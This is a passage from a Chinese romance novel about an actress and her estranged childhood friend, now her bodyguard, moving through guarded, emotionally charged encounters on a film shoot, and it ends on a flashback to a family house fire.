她不肯,想目送他走。柏闻也不肯,挑了挑眉,语气带着逗她的坏劲儿。
“不行,万一我走了,你一个人在这儿偷偷哭鼻子,错过这种糗事,我可亏大了。”
两人就这样僵持着,直到登机时间快截止了,她还是一动不动。柏闻终于妥协,就像从小到大,他和她的对峙里,他似乎永远没占过上风。
在她记忆里有迹可循的倒数第二次见面,柏闻转身,刷卡,过闸。他最后回头看了一眼,背影很快消失在安检通道的人潮里。
后来,他再也没有回来过。
往事沉甸甸地压在胸口,黎宴连呼吸都费力,垂在身侧的手不自觉收紧,将床单攥成皱巴巴的一团。
如果真像柏闻当年所说,他在孟甘做建筑,那么工地上的意外并不少见,难道他的疤是因为这个?
这个念头一起,黎宴便不受控地想象着各种糟糕的可能。脚手架坍塌,高空坠落,钢筋剐蹭,甚至更严重的贯穿伤......每一个画面都让她心惊肉跳。她不得不强迫自己停下,可更大的困惑随之而来。
从建筑到安保,为什么柏闻的职业跨度会如此巨大?
柏闻从小就聪明,学习运动样样拿手,这些她都知道。但他如今就职的这家国际安保公司属于业内顶尖之一,门槛极高,对职工的要求远不止头脑和身手,没有军旅背景的他是怎么进入这一行的?
黎宴想不通。
“咦,宴姐你醒啦?”
方宁的声音从门口传来,伴随着推动餐车的轱辘声,轻快地打破了房间里沉闷的寂静。
黎宴被这突如其来的声音激得身体轻微一颤,而后才慢慢回神,视线落了过去。
方宁浑然不觉,一边摆放餐具一边念叨:“我还说进来叫你呢,没想到你这么早就醒了。柏队上班也好早,刚才我们一起上的电梯,聊了两句我才知道,他一早就过来把消防通道检查完了,刚出去吃了个饭回来,现在又去前厅值守了。”
前厅......
黎宴的心脏被这两个字不轻不重地捏了一下。
作为主演,她入住的是酒店的总统套房,在套房前厅里有一个安保间的设计,专用于助理和保镖二十四小时轮守。不论是外人进入还是艺人出门,都会经过那里。
他现在是自己的保镖,按照安保执行预案,她不拍戏的时候,他也要在附近寸步不离。
所以现在,他在这里。
黎宴刚平复的心情又一次翻腾,怎么也静不下来。
方宁没注意到黎宴的异样,摆放好早餐后,从餐车下拿出一个白色纸袋,举在手里献宝似的晃了晃。
“当当当当~”
方宁压低声音,笑得神秘兮兮。
“柏队刚才给的,还特意嘱咐不让我说。但谁给我发工资我知道的呀,宴姐你猜猜这是什么?”
黎宴倚在床头,目光落在那个普通的袋子上,没动。
方宁以为她没睡醒,也不一直卖关子,而是清了清嗓子
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,努力模仿着柏闻平日里的语气:“咳咳——”
“‘雨林里地形复杂,黎小姐昨天拍戏时摔了几跤,今天起来可能有淤伤。这些药油和贴膏你备着,需要的时候可以帮她揉揉。’”
方宁的台词功底太差,完全模仿不出精髓,反倒有些招笑。黎宴没说话,只是盯着袋子,心里某个地方像被羽毛挠了一下,泛起一阵细密恼人的痒,很快又变成一股说不清的烦躁。
他这是什么意思?
隔着助理传递这种关心,像做贼一样。是觉得对她还有一丝愧疚?还是这些年他对每一位雇主都这样周到?
“拿走吧。”黎宴终于说出醒来后的第一句话。
她的嗓音干涩得不像样,方宁这才后知后觉,吓了一跳:“宴姐,你脸色好差啊,是不是哪里不舒服?要不我叫车去医院看看吧?”
“我没事。”
黎宴打断了她,视线转向窗外蒙蒙亮的天光,像是在想什么,片刻后低声开口。
“方方,你去和安保公司对接一下,就说甲方需要了解贴身保镖的职业背景,让他们发一份柏闻的履历过来,经纪公司要存档。”
方宁愣了一下:“可...柏队就在外面诶,直接让他准备一份不就行了?”
“直接和安保公司对接。”
黎宴摇头,余光似乎向前厅掠了一下,转瞬后收回。
“流程别走他那边。”
方宁闻言,悄悄回头看了眼前厅紧闭的门。她不懂柏闻就在门外,为什么要绕这么大个圈子。但看黎宴今天的脸色一直不对,她也没敢多问,应了声“好”便匆匆出去了。
房间里再次只剩下黎宴一个人。
她从床上起身,真丝睡袍的衣带松垮系着,微微一动,裙摆便垂落至脚踝。她光脚走过冰凉的地板,像一道没有声音的影子,停在那只孤零零的纸袋前。
她没碰它,只是垂眸看着,又想起柏闻手腕上的淤青。短时间内能留下那么深的痕迹,可见当时蛇缠得有多紧。
那一瞬间发生的画面再次浮现在眼前,她被拽进他滚烫的体温里,彼此的骨骼用力相撞。她不知道柏闻当时痛不痛,但她很痛。甚至,她恶劣地希望他更痛。
等待方宁消息的时间,被满屋寂静拉扯得无比漫长,每一秒都像是煎熬。
黎宴一直坐在餐厅昏暗的光里等,等到天色从蒙蒙亮到彻底天明,阳光却始终没穿透厚厚的云层。她的目光偶尔掠过通往前厅的门,然后久久地停驻一会儿,仿佛这样就能穿透厚重的门板,看见外面那个总是对她沉默的人。
叮咚。
终于,桌上的手机响起提示音,屏幕亮起。
黎宴拿起它,低头解锁,方宁发来一份PDF文件,标题是规整的中文——高级安保专员简历-柏闻。
她的指尖悬在屏幕上方,在渐渐升温的清晨里,身体竟觉出一丝寒意。
黎宴忽然想起,四年前他斩断一切时说,他马上就会有新的工作和生活,而这些规划里,并没有邀请她的打算。
而现在,她手握他追求新生活的证明,就像握着一把生锈的钥匙,朝那扇杳无音讯的时间门走去,不请自来。
11. 第 11 章
黎宴点开文件,指尖一点点下滑。
姓名:柏闻。
性别:男。
国籍:中国
年龄:26岁
职务范围:高级安全顾问/要员随卫/现场领队
......
这份简历是标准模版,信息罗列得相当明确。她滑动得很慢,连那些烂熟于心的个人信息都没放过,生怕错过这四年里任何一个关于柏闻的细节,直到某一栏跳入眼帘——
入职时间:一年零两个月。
黎宴猛然一顿。
她眨眼,以为自己看错了,甚至用手指在屏幕上使劲擦了擦,白底黑字毫无变化。
一年零两个月......
这和柏闻四年前说,马上会有新工作的时间点根本对不上!
黎宴的心蓦地一慌,她不信邪,想着还有一项信息能给她答案。于是快速上滑屏幕,简历一页页飞掠,直至翻无可翻,停在最末尾的一栏。
入职前经历:该员工具备相关领域丰富经验,背景经审核通过。
只有一行字。
没了。
黎宴彻底怔住了,久久盯着这行字,久到手机因无人操作而自动息屏,映出她模糊苍白的脸。
一句官方且直白的解释,严严实实封住了她所有探究的可能。
黎宴攥着手机没动,浑身血液仿佛被彻底冻在四肢百骸,让她感到虚脱和麻木。
——背景经审核通过。
这句话绞在她脑中,不是没有经历,而是经过审核后,公司只给出了这样的结论。顶尖的安保公司绝不会忽略这种细节,唯一的解释就是,柏闻的那段经历不便公开展示,所以被公司批准隐藏了。
甚至,黎宴无法以甲方的身份去调阅,哪怕她真的这样做,恐怕公司也只会给她更官方的说辞。最坏的结果,无非是公司以保护雇员隐私,或涉及公司内部机密为由,建议她直接换一位履历更透明的保镖。
黎宴抿紧唇,忽然有种想笑的冲动,眼睛却先一步起了雾,没有泪水落下来。
一年零两个月,那么之前的三年呢?那三年他在哪里?在做什么?那道横亘在他后颈的伤疤,是在那三年里留下的吗?还是在他进入这家公司后,执行的某个危险任务里?
她原以为自己终于拿到了钥匙,然而那三年被这行空洞的文字吞掉了,连一点渣滓都没留给她。
黎宴无措地撩了把头发,头深深垂下去,视线无处安放,几度想要张嘴呼吸,喉咙却像被铅块堵死。
那个唯一知道一切的人就在门后,却是最不可能给她答案的人。
柏闻啊柏闻......你到底想怎样?
这个问题在她心里滚了四年,乍然重逢后每见他一次,就变得更尖锐迫切一分。她刺激他,嘲讽他,甚至不知道自己以后该怎么办的时候,就先用甲方的身份绑住他。她看着他将一切照单全收,看着他无动于衷,公事公办。她挥出去的每一拳都像打在裹着棉花的钢板上,自己手骨生疼,而他纹丝不动。
她恨自己,恨自己在树洞里听他像小时候那样叫她“宴宴”,一听见那两个字,所有强撑的盔甲就碎成了渣,委屈立刻排山倒海,像个缺爱的可怜虫。
她更恨他,既然当年能那么残忍地划清界限,现在为什么又要暗中保护自己,偷偷关心自己。是愧疚吗?是对每个雇主都这样吗?
黎宴猛地从餐椅上起身,动作太急,带倒了桌上的水杯,玻璃撞在地毯上发出一声闷响。她没管,径直走向通往前厅的门,可手握上门把的瞬间,她又倏地停住。
他就站在门外,她知道。
作为贴身保镖,此刻他一定守在外面的某个位置,或许就背靠着这面墙,沉默地守着这道门。
一门之隔。
两个世界。
黎宴忽然累极了,那种纠缠了她四年,早已深入骨髓的疲惫,在这一刻冲垮了她所有尖锐的情绪。愤怒烧完了就只剩灰烬,恨意绷紧了就走向断裂。再涌上来什么别的情感,她不敢直面,更不敢贪恋。
黎宴就这么静静站着,握着门把手,不肯松,也没动。
她无力地垂着头,眼泪如珠子般砸进地毯,肋骨下的心脏成了一块吸满水的海绵,每一次搏动都带着她往更深的潮湿地带坠落。
柏闻立在门外。
他听见里面的人走了几步,脚步声极轻,不像穿了鞋的样子,于是不自觉蹙眉。
她总这样,不出门就爱躺在床上,只在房间里活动就不爱穿鞋。从前他提醒过很多次,后来发现没什么用,索性直接进房间,将拖鞋递到她的脚边。
但现在,除了公事,他连敲门的立场都没有。
柏闻轻轻吐了口气,下意识探向外套口袋里的烟盒,刚摸到又顿住,想起这里是她的套房。
就在他收回手的瞬间,咔哒——
面前的房门毫无预兆地从内打开了。
前厅只开了一盏昏黄的灯,黎宴抬眼,柏闻果然站在斜对面,背靠着墙,双手插在裤袋里。
听见开门声,他投来视线,目光平静地落在她脸上,像是在等待指令。
黎宴不再看他,径直往外走,语气少有的和平:“我出去一趟,别跟着。”
她没等他回答,也没必要确认,快步走向电梯。电梯门合上的瞬间,透过狭窄的缝隙,她看见那道高大的身影还是跟了过来,步伐不疾不徐,保持着一段恰当的距离。
果然。
黎宴扯动了下嘴角,不知道是想笑还是想哭。他总是这样,公事公办的态度令人无可指摘。
她下到酒店停车场,坐上来孟甘后长租的那辆丰田Supra,车灯切开视野,引擎咆哮发动。后视镜里,那辆熟悉的黑色越野无声滑出车位,跟了上来。
黎宴收回视线,一脚油门,跑车冲出地库,扎进城市天空的厚厚云翳下。
她没有目的地,只是沿着酒店背后那条环海公路一直开。她今天没有日程,拥有大把的时间去逃离那个她最想靠近的人,想用速度把脑子里那些乱七八糟的念头甩出去。然而车开得越快,往事的画面越是在眼前飞掠,越来越清晰。
后视镜里,那辆黑色越野车始终都在,保持着两三辆车的距离,像她天生的影子,在无限的距离里有限靠近,只有甩不开是唯一真理。
海浪声远远地呼啸过来,黎宴将车开出去不知多远,眼前景色都换了几轮。云层散去后太阳渐渐西沉,将海面染成一片绚烂的橘红。她终于累了,手臂发酸,眼睛也被海风吹得干涩发疼,于是打了转向灯,将车靠边停在一处观景台前。
黎宴推门下车,海风立刻裹着巨大的浪声扑来。她登上台阶走到栏杆边,看着远处的海浪咆哮着拍打礁石。那辆越野车停在距离Supra几米外,车门打开又关上,柏闻走了下来。
他停在车边,没有越界。
就这样,她站观景台上,他停在转角之下。大片胡姬兰自路边花坛里沿台阶盛开,成了唯一连接着他们的浓紫色纽带。
黎宴不知道在这里站了多久,直到天色变暗,海面渐渐褪色成蓝。她终于动了,在次第亮起的城市灯火里转身,一步步走下台阶。
柏闻就站在车边,一身黑衣几乎完全融入夜色,只有指间夹着的那点火光偶尔明灭。
黎宴朝他走去,脚步声被风与浪吞没,但柏闻似有所感,抬眼看了过来,手里的烟被他按熄在身旁的垃圾桶上。
“开累了。”
黎宴在他身前站定,没有多余的解释,语气比想象中还要平和。
“我饿了,前面有家店开着。”
她没等他反应,说完便径自朝那家店走去,柏闻理所应当地跟上了她的脚步。
这是一家咖啡简餐店,推开店门,风铃叮咚轻响。店里很空,只有吧台后一个本地女孩在擦杯子。
黎宴选了靠窗的位置坐下,柏闻随后进门,因职业习惯而先扫视了全场。他正要走向邻近的空位,黎宴却忽然开口。
“一起吧。”
柏闻动作微顿,黎宴垂眼翻着菜单,神色平常。
“你昨天救了我,请你喝杯咖啡,总没问题吧?”
柏闻一时摸不透她的意思,今早方宁从她房间里出来后,曾意味深长地瞥了他一眼,却什么也没说。再见到她时,她一路飙车,行为少有的放肆。他猜她心情不好,却拿不准是因为工作还是其他。
但他依言坐下了。
黎宴招手叫来服务生,给自己点了一杯冰美式,目光转向他。
“你呢?”
柏闻道:“Hot Americano,thank you.”
后半句是对服务生说的,黎宴面色平静,心底却轻轻一响,裂开了一道缝。
她看着服务生离开的背影,身旁的窗外是漆黑无垠的海,环绕着这家店,将两人困在了只有彼此的空间。
柏闻的视线落在桌面上,她用余光打量他。他就坐在对面,手腕收束在袖口里,休闲衬衫的领子设计立挺,想必也遮住了后颈的痕迹。
可黎宴知道,那道疤就在那里。
就像她知道,眼前这个人的口味从意式浓缩变成热美式,习惯变了,生活变了,和过往的一切天翻地覆。
他们曾无话不说,他了解她的一切,也从不会对她隐瞒。直到她青春期开始后有了不少小秘密,那是她少数不肯告诉他的。结果,柏闻在成年后离开,将这些年的坦诚全部收回。
以至于现在,她要靠一份语焉不详的简历,去猜测他的人生。
冰美式与热美式很快送了上来,黎宴端起自己那杯,没有热气,却像被熏到了眼睛。
接下来很长一段时间里,两人之间只有杯碟相碰的轻响。柏闻察觉到黎宴的低落,话几度到了嘴边,喉咙却被扼住。
他们已经不像从前了。
现在的他,哪怕只是对她像常人那样关切地问候一句,都显得僭越。
就在柏闻艰涩寻找着话头的时候,黎宴面前的咖啡已经见底。店里的服务生适时走近,停在桌前:“Excuse me?”
二人几乎同时抬头,只见服务生举着手机,屏幕上是由孟甘语翻译成的英文,大致意思为——
“店里正在举办双人拍照打卡活动,在店铺链接下方上传合照并好评,可以赠送本店金牌调酒师的特调鸡尾酒一杯,是菜单上没有的著名隐藏款哦~”
服务生热情地看着他们,黎宴正盯着对方的屏幕,柏闻却已不假思索地礼貌回绝。
“Thank you, we don''t need it.”
她是公众人物,自然不适合参加这类活动。
况且......
柏闻没再想下去,服务生也露出理解的笑容,正准备转身离开,黎宴的声音却平静地响起:“Please wait.”
柏闻看向她。
“We can participate.”
黎宴同意了参加活动,随后将目光转向柏闻,微微一笑。
“柏队不介意让我蹭一杯金牌调酒师的隐藏特调吧?”
她说得客气,柏闻找不到断然拒绝的理由。服务生笑容更甚,用不大流畅的英语询问他们是选择自拍,还是由她帮忙拍摄。
柏闻本能地认为黎宴不会选择前者,于是拿起手机,黎宴却先他一步将手机递了过去:“Thank you,please.”
服务生欣然接过,柏闻动作顿了顿,默默将手机放回原位。
到了摆姿势的环节,他先看了黎宴一眼,见她没动,他也就没有任何多余的动作。但很快,黎宴调整坐姿,比了个没什么创意的剪刀手,甚至主动朝桌子中间靠了靠,拉近了两人在镜头里的空隙。
柏闻看着镜头,也将身体微微倾斜了几分。
“Ready——”
服务生举起手机喊预备,就在快门即将按下的瞬间,柏闻忽然开口。
“黎宴。”
黎宴闻声,下意识侧过脸,略带疑惑地看向他。
咔嚓。
快门声清脆落下,定格了这一幕画面。
“OK?”
服务生上前,将拍好的照片展示给二人看。画面里,柏闻目视着镜头,面容平静。而黎宴则转向他,长发垂落,只在镜头里露出小半张脸。即便发到平台上,也很难让人一眼辨认出她是谁。
黎宴还在等柏闻那一声的下文,他却已经看向服务生,用孟甘语说了句谢谢。
服务生露出惊讶的表情,随即看向他们,笑着夸了一句。
“??????????????????????”
黎宴看见柏闻的唇角似乎轻轻牵动了一下,快得像她的错觉,疑惑地问:“她说什么?”
柏闻又恢复了那种没什么波澜的表情:“她说别忘了五星好评。”
话音落下,服务生刚好将手机递回,黎宴接了过来,垂眼看着屏幕。这张构图意外的照片里,她目光的落点是他。
黎宴没说什么,在手机上翻了几下,将照片发布在店铺的评论区里,给了五星好评。
服务生看着她操作完,礼貌地表示了感谢,转身回吧台取酒。
这一小片区域的空气再次沉寂。
黎宴无意识地用指尖轻扣着桌面,忽然开口:“刚才为什么叫我?”
柏闻思考片刻,给出了另一个毫无破绽的理由:“我们都开了车,酒还是别喝了。”
这时,服务生将那杯赠饮的鸡尾酒端了上来,轻轻搁在桌面中央那丛新鲜的胡姬兰旁。黎宴的目光随之落去,精致的香槟杯里盛放着酒液,由海洋般的深蓝逐渐过渡为薰衣草紫,杯口蘸着一圈细密的银粉,在店内的水晶吊灯下闪耀着粼粼的光泽。
“叫代驾,或者让方宁过来开一趟也行。”
黎宴淡淡地拒绝了他的提议,伸手去拿那杯酒。柏闻却先一步,轻轻按住了酒杯的底座。
他低声道:“还是别喝了。”
终于,黎宴抬眼正视他,目光毫不避讳的同时,心底翻涌起一股极其复杂的情绪,最后凝结成唇边的一丝笑意。
“那猜谜吧。”她忽然说。
柏闻倏地一怔。
这句话像一把锋利的刀,扎进了他无懈可击的面具。
那是属于他们童年的游戏规则,当零花钱只够买一份零食或玩具的时候,就会用猜谜来决定归属。他们之间起初没有这规矩,柏闻总是让着她,时间长了,她觉得对他不公平,像在欺负他。于是就定了下来,每次由柏闻出题,她来猜。虽然柏闻的题
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目都很简单,她也总能猜对。
柏闻静静地看着黎宴。
他明白,她在用这种方式划出一条道,如果不想她碰酒,就必须按道上的老规矩来。
柏闻沉默片刻,终于开口。
“......什么东西会让人开心,让人幸福,也会让人难受,痛苦。但总有人心心念念,非要尝试,拦都拦不住?”
黎宴的心剧烈颤动了一下。
这个谜语她太熟悉了。
以前每次生理期前后,她总是忍不住嘴馋要吃冰,柏闻回回拦她,她回回纠缠。最后柏闻搬出了猜谜的老规矩,这个谜题更是终极武器,她从来都猜不中,每次都气鼓鼓地追问谜底。而柏闻总会得意地哼一声,朝她挑眉。
“等你长大就知道了。”
他大概以为,她的人生永远不会有亲自体验这个谜底的时刻。
然而这次,黎宴迎着他的目光,没有停顿地给出了答案。
“是记忆。”
空气凝固了一瞬,黎宴看着柏闻脸上罕见的怔愣,已经不需要确认他的答案,再次伸手去拿那杯鸡尾酒。
这一次,柏闻几乎是下意识地再次按住了杯底,比之前更用力。
他抬眼看她,喉结滚了滚。
“既然是以前的规矩,从来都是我向你提问,公平起见,我是不是......也应该有一次被提问的机会?”
黎宴静静地看了他几秒,松开了手:“好。”
她开口,声音很轻。
“什么东西,足够多能建造成港,不够多会摇摇欲坠,彻底没有......就会变成一堵墙?”
问题抛出的刹那,柏闻的思绪已经飞速运转起来。无论是她的习惯,喜好,甚至是彼此间共同的回忆,所有的线索他全都迅速过滤了一遍。但就如同十多年前,他留给黎宴的那个谜题,是为了不让当时的她猜出来一样。此时此刻的他,也没有答案。
黎宴淡淡地扯了下嘴角,没说话。
她只是轻轻地将被他压住的杯底移出,拿起那杯蓝紫色的酒,没有犹豫,一饮而尽。
空杯落回桌面,发出一声清脆的响。
黎宴在心里想。
你看,柏闻。
你也已经不再那么了解我了。
柏闻还沉浸在那个想不出的谜底所带来的怔然中,黎宴已经站起身,为这个夜晚亲手画下句号。
“走吧,回去了。”
她没等他,连同他的热美式一起结账,率先走出咖啡店。海风再次迎面扑来,反倒吹得她的脸热热的,那是些许酒精对她这个不胜酒力的人发挥了作用。
她坐进自己车的副驾驶,拿出手机,低头开始翻找代驾软件。
砰。
几分钟后,主驾驶的门被打开又关上。柏闻坐了进来,带进一身微凉的夜风。
“我叫代驾了。”黎宴说。
“取消。”
柏闻言简意赅,已经系好了自己的安全带。转头去拿钥匙时,他的视线掠过她微红的脸颊,薄嫩的唇瓣。她也微微偏头看他,漂亮的眼眸因酒意而水光潋滟,眼尾尖上挑起来。
柏闻克制地错开了目光,用钥匙启动了车子。
“孟甘晚上不安全,你喝了酒,反应会慢。”
他解释得很隐晦,黎宴没再说话,身体向后陷进座椅里,闭上眼睛仿佛默许。
车子平稳驶出,融入沿海公路的夜色。柏闻沉默地开了一会儿,想起什么,低声提醒:“安全带。”
旁边没有动静,他余光扫去,黎宴的头歪向主驾驶一侧,整个人蜷缩在座椅里,呼吸绵长。
柏闻放慢车速,缓缓停靠在路边,拉起手刹,解开了自己的安全带,却没有下一步动作。
车内很暗,只有仪表盘发出微弱的光。借着偶尔掠过的对向车灯,他能看清她的侧脸。
她的头发比四年前长了很多,松散地披在肩上,有一缕滑到脸颊边,发梢尖搭在鼻子下,像一撮滑稽的小胡子。
他记得她小时候总嫌头发长太麻烦,但又十分臭美,舍不得剪。奶奶不在家时,就缠着他给她扎漂亮辫子,指着杂志封面上的高难度发型,非要他梳个一模一样的不可。
她的睫毛还是那么密,像她喜欢玩的芭比娃娃。人却瘦了很多,下颌线条更加清晰,褪去了最后一点少女的圆润。睡觉时嘴唇微微抿着,不像小时候那样会无意识地嘟起来,或者干脆张着嘴巴流口水,偶尔还空嚼两下,像在梦里吃什么好吃的。
这四年,他其实见过她。在公司附近的广告牌上,在某个电梯里路人匆匆滑过的短视频片段中,在国内平台新上线的综艺里......最近在片场,他也见过她顶着烈日一遍遍练威压,见过她对着监视器里不满意的镜头要求重来,见过她演戏时完全融入角色的样子。
她学会了穿高跟鞋,而且走得很稳。她会在牛奶凉掉前就喝完,不会再像以前那样捧着杯子发呆。她接电话时语气干脆,不会犹犹豫豫。她对助理安排工作的时候条理清晰,已经是个可靠的大人。
这些都是很小的事,但在此刻狭窄昏暗的空间里,这些碎片忽然一齐涌上来,拼凑出一个他既熟悉又陌生的黎宴。她依旧像从前那样倔强、勇敢、热忱。却不再是那个只会躲在他身后,揪着他的衣角说“哥哥你上”的小女孩了。
骄傲吗?
有的。他的宴宴,从来都是最好的。
但心疼也是真的。
他知道在她的漂亮与长大背后,需要磨平多少棱角,咽下多少独自面对的时刻。而最让他胸口发闷的是,在那些需要她咬牙坚持的时刻,在她可能感到害怕或孤独的时刻,他没有站在她的身边。直到如今她已经成长起来,而未来,他也不再是被允许给予她支撑的那个人。
柏闻的视线渐渐下落,停在她随意搭在膝盖上的手。她的手指纤细白皙,只是拇指与食指上各有一处浅浅的疤,像是被什么割伤过。小时候她的手上干干净净,连写字茧都没有。
车窗外的海潮声一阵阵传来。
柏闻的喉结轻轻滚动了一下,他俯身,想伸手将那缕滑落的头发拨开,手悬在半空中停顿,终究没有落下去。
该走了。
Supra的副驾驶太窄,她睡久了不舒服,该早点回酒店。
柏闻收回目光,倾身过去,拉过副驾驶的安全带时,彼此的距离骤然拉近。他的手臂环过她薄薄的身体,甚至能闻到她发间淡淡的香气。这样的距离,明明前一天在树洞外还有过,此刻却又遥远得像上辈子的事情。
他稳住呼吸,利落地帮她扣好安全带,重新退回驾驶座,又扣上自己的。
发动车子前,他打了个电话,那头传来赛昂懒洋洋的声音:“喂,闻哥?”
柏闻压低声音,尽可能不吵到她的睡眠。
“我的车在沿海南路观景台下面,钥匙在左前轮,帮我开回去。”
挂断电话,银色跑车再次驶动,在浓夜中化作一道疾驰的弧线。沿路盛放的胡姬兰被夜风卷起,几片紫色花瓣逐车飘零,最终被远远甩在身后。
海岸线蜿蜒,车身平稳地转过一个弯道,旁侧交错的车灯短暂地略过黎宴的脸庞。
她的眼睫颤了颤,像是欲飞的蝴蝶,酒意与困意在这一刻沉沉漫上,终于真正睡去。
12. 第 12 章
次日一早,孟甘下起大雨。
柏闻习惯性地提前抵达酒店楼下,将车子熄火,车窗降下一半,静静等待黎宴出工。
潮湿的风夹杂着雨声扑进车厢,他望向酒店旋转门,那里已经聚集了不少粉丝。从横幅就能辨认出哪些在等黎宴,哪些在等无关人员。
等待的间隙,他摸出一只打火机,夹在指间随意转着,直到一阵欢呼声骤然掀起。
黎宴出来了。
柏闻立刻推门下车,撑伞大步穿过雨幕。他侧身挡开涌上来的粉丝,将人拦在一臂之外,护送黎宴上车。
与此同时,他心底掠过一丝暗嘲的庆幸。昨夜咖啡馆里那些话,他与她各损八百。这些日子黎宴的态度他看在眼里,不难想到今早见面会更僵。
眼下这样的场面也好,至少她很忙,他也只需做好分内事。
“早。”
一道温和的声音从身旁传来,柏闻怔了一下,几乎以为听错。
是黎宴在对他说话。
可他还没来得及回应,车门应声闭合,将她隔在安静的车内,将他留在喧嚣的雨中。
“柏队,可以走了。”
方宁摇下车窗提醒,柏闻倏然回神,点了下头,转身大步回到越野车上。
午后时分,雨势渐涨。
黎宴结束了上午的戏份,暂且拥有一个半小时的休息时间。柏闻撑伞将她送回房车,随后退回了车外的遮阳棚下。
没过多久,方宁将剧组统一发放的盒饭拎上车:“宴姐,今天只能将就了,外卖全停了。”
“我是有皇位要继承吗?什么将就不将就。”
黎宴擦着头发回了一句,目光瞥向窗外。柏闻站在几步之外,一身略紧的黑色半高领T恤稍稍被浸湿,像一尊风雨中的礁石。
黎宴转身坐下,语气平常。
“去叫柏闻进来。”
方宁“哦”了一声,忽然反应过来,手里的筷子差点没拿稳。
“叫、叫柏队......进来?”
她敏锐地捕捉到那个称呼的变化,表情顿时微妙起来,眼睛贼兮兮地一眯:“马上!”
柏闻被叫上车时,肩头湿了一片。他个子太高,站在车门处显得空间有些局促。
“黎小姐?”
他开口问询,目光扫过车内,头顶光线暖黄,桌上摆好盒饭,黎宴坐在那里看他。
“本来也不是不熟的关系,黎小姐就免了,叫黎宴吧。”
她用纸巾慢条斯理地擦着桌面上的水珠,柏闻的喉结却不明显地滚动了一下,没接话。
黎宴将一份还没打开的盒饭往自己旁边的空位一推。
“一起。”
柏闻看着那份饭,又看着她,完全没预料到是这个展开:“不了,我晚点......”
“以后每天和我一起吃饭。”
黎宴打断他,拆开筷子包装,轻描淡写道:“错开吃饭时间,安保会有空白期。你是保镖,得随时在我能看见的地方待着。”
不等柏闻回答,她抬眼,目光轻轻扫向他。
“有意见吗?”
这句话语调平平,却令柏闻片刻失神。恍惚间,眼前客气疏离的女明星,和小时候那个做了糗事被他撞见,立刻叉腰瞪眼,虚张声势地问“你有意见吗?”的小女孩,身影重叠了。
那时候他会笑着回:“哪敢。”
此刻,在黎宴从容且直勾勾的注视下,他说不出那句惯性到了嘴边的话,最后应了声:“没有。”
他上前拿起盒饭:“我去外面。”
“保镖要形影不离。”黎宴咬重了最后那个词,筷子拨了下米饭,没看他。
“外面雨那么大,你喜欢吃雨水泡饭吗?”
柏闻站在原地,被黎宴一句接一句的追问堵得进退不得。方宁缩在饭桌对面,眼观鼻鼻观心,扒饭的动作都轻了,眼睛却偷偷瞥向窗外。
其实柏队的车明明就在旁边,几步路而已......
柏闻没再说话,目光往方宁那边扫视了一下,后者假装没看见,屁股往座位中间挪了挪。柏闻没得选,只能在黎宴身边的空位坐下。
黎宴吃饭前要先拍照,她摆好盒饭,找好角度拍了一张,顺手发了条微博,配文——“在剧组中场休息的慰藉,老规矩,粉丝先吃。”
发完她便放下手机,拿起筷子,垂眼安静地吃了起来。
窗外大雨,车内三人吃饭的气氛十分诡异,空气里只剩雨声和轻微的咀嚼声,方宁看着面前两人一个比一个沉默,只觉得饭盒里的米粒忽然变得有点难咽。
但稍后,方宁视线一转,忽然福至心灵,挑起一块排骨嚼了嚼,拍起老板马屁:“今天剧组的盒饭居然有糖醋排骨诶!不过没宴姐你点的好吃。”
话音落下,黎宴终于有了点反应,不过是将目光转向了柏闻,他那份也是同样的菜色。
方宁还在为自己打开了局面而沾沾自喜,然而黎宴下一秒开口。
“柏闻,你要不要尝尝,是不是真的不好吃。”
这话问的和陈述句也没区别,柏闻握着筷子的手指紧了紧,看着盒饭里那几块裹满酱汁的排骨,橙红油亮。
他没动筷子,黎宴在他身边微笑
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着问:“怎么了?你不喜欢吃吗?”
“没有。”柏闻低声说,筷子伸向那块排骨。
就在他即将夹上的时候,黎宴的筷子却先一步探了过来,精准地夹走了他盒饭里的那块排骨。
柏闻的动作顿在半空。
方宁的嘴微微张开了。
反观黎宴,在两人的注视下,很自然地将排骨送进嘴里,慢慢咀嚼。
方宁讶异道:“宴姐,你以前......不是从来只点不吃吗?”
黎宴没空回答,柏闻却看了她一眼。方宁不确定地转了转眼珠子,低下头扒饭,默默复盘自己的话。这时,黎宴蹙起眉,似乎费了点劲才咽下那块排骨,继续看向柏闻。
“没有你做的好吃。”
“咳——!”方宁被米饭呛到,因不敢喷出来而捂住了嘴,眼睛瞪得滚圆。
她回想黎宴刚才那如同陈述客观事实的语气,看看黎宴,又看看瞬间僵住的柏大队长,感觉自己听到了什么不得了的老板秘辛。
车内的空气凝固了,雨点噼里啪啦砸在窗玻璃上。
黎宴仿佛并没察觉到这石破天惊的一句话带来了什么,甚至很平常地转头对方宁解释了一句。
“这有什么好惊讶的,他很会做饭的。”
方宁已经说不出话,只能疯狂点头。
终于,柏闻放下筷子,塑料饭盒发出轻轻一响。他站起身,动作有些仓促,迅速收拾了自己几乎没动过的盒饭。
“我吃饱了,先下车。”
他声音低沉,绷得很紧,甚至没再看黎宴一眼便拉开车门,可以说是狼狈地扎进了瓢泼的雨幕中。
方宁蹑手蹑脚地去关车门,外面的风雨声一隔绝,显得车内更沉寂了。
她回到桌边,战战兢兢地偷瞄自家老板。黎宴的脸上没什么表情,只是慢慢地,继续吃着饭盒里的东西,再也没有碰过糖醋排骨。
过了好一会儿,良心不宁的方宁小心翼翼问:“宴姐......那个,我什么也没听见......”
“不是机密。”黎宴瞥了她一眼,像是怕吓到她,嘴角还扯出点淡淡的笑意。
“不会杀你灭口的。”
方宁立刻长舒一口气:“谢宴姐隆恩!”
说完,黎宴继续沉默地吃饭。方宁也扒了几口,吃着吃着,忽然感觉哪里不对,思索了片刻,终于大彻大悟。
“那个……宴姐,你以前……每顿饭都点糖醋排骨,但从来都不动筷子,是因为……”
她没说完,但意思到了。
就这一句话,黎宴咀嚼的动作停了。
13. 第 13 章
那会儿黎宴高三,家里的天已经塌了一整年。
事情发生在她高二的暑假,爷爷奶奶照例回乡下小住,她和柏闻贪玩,留在了城里。
那年的梅雨季很长,农村连下了半个月的雨。奶奶惦记着阁楼上那些受潮的旧书,那是爷爷收藏了一辈子的古籍字画。她怕它们发霉,于是搬了炭盆上楼,把书一摞摞摊开烘着。
老阁楼里堆满了旧物,晾衣绳上还挂着陈年的老纱帐。起初火星溅上去的时候,只是一个小洞。
然后一切都来不及了。
炭火烧着了晾在一旁的纱帐,满地纸张接力,火势顺着木楼梯蹿得极快。爷爷当时正在隔壁村老友家打长牌,有人看见黑烟狂奔来喊他。他回家冲进火场想救人,被塌下来的门梁砸中,最后拖出来时,全身已是大面积烧伤。
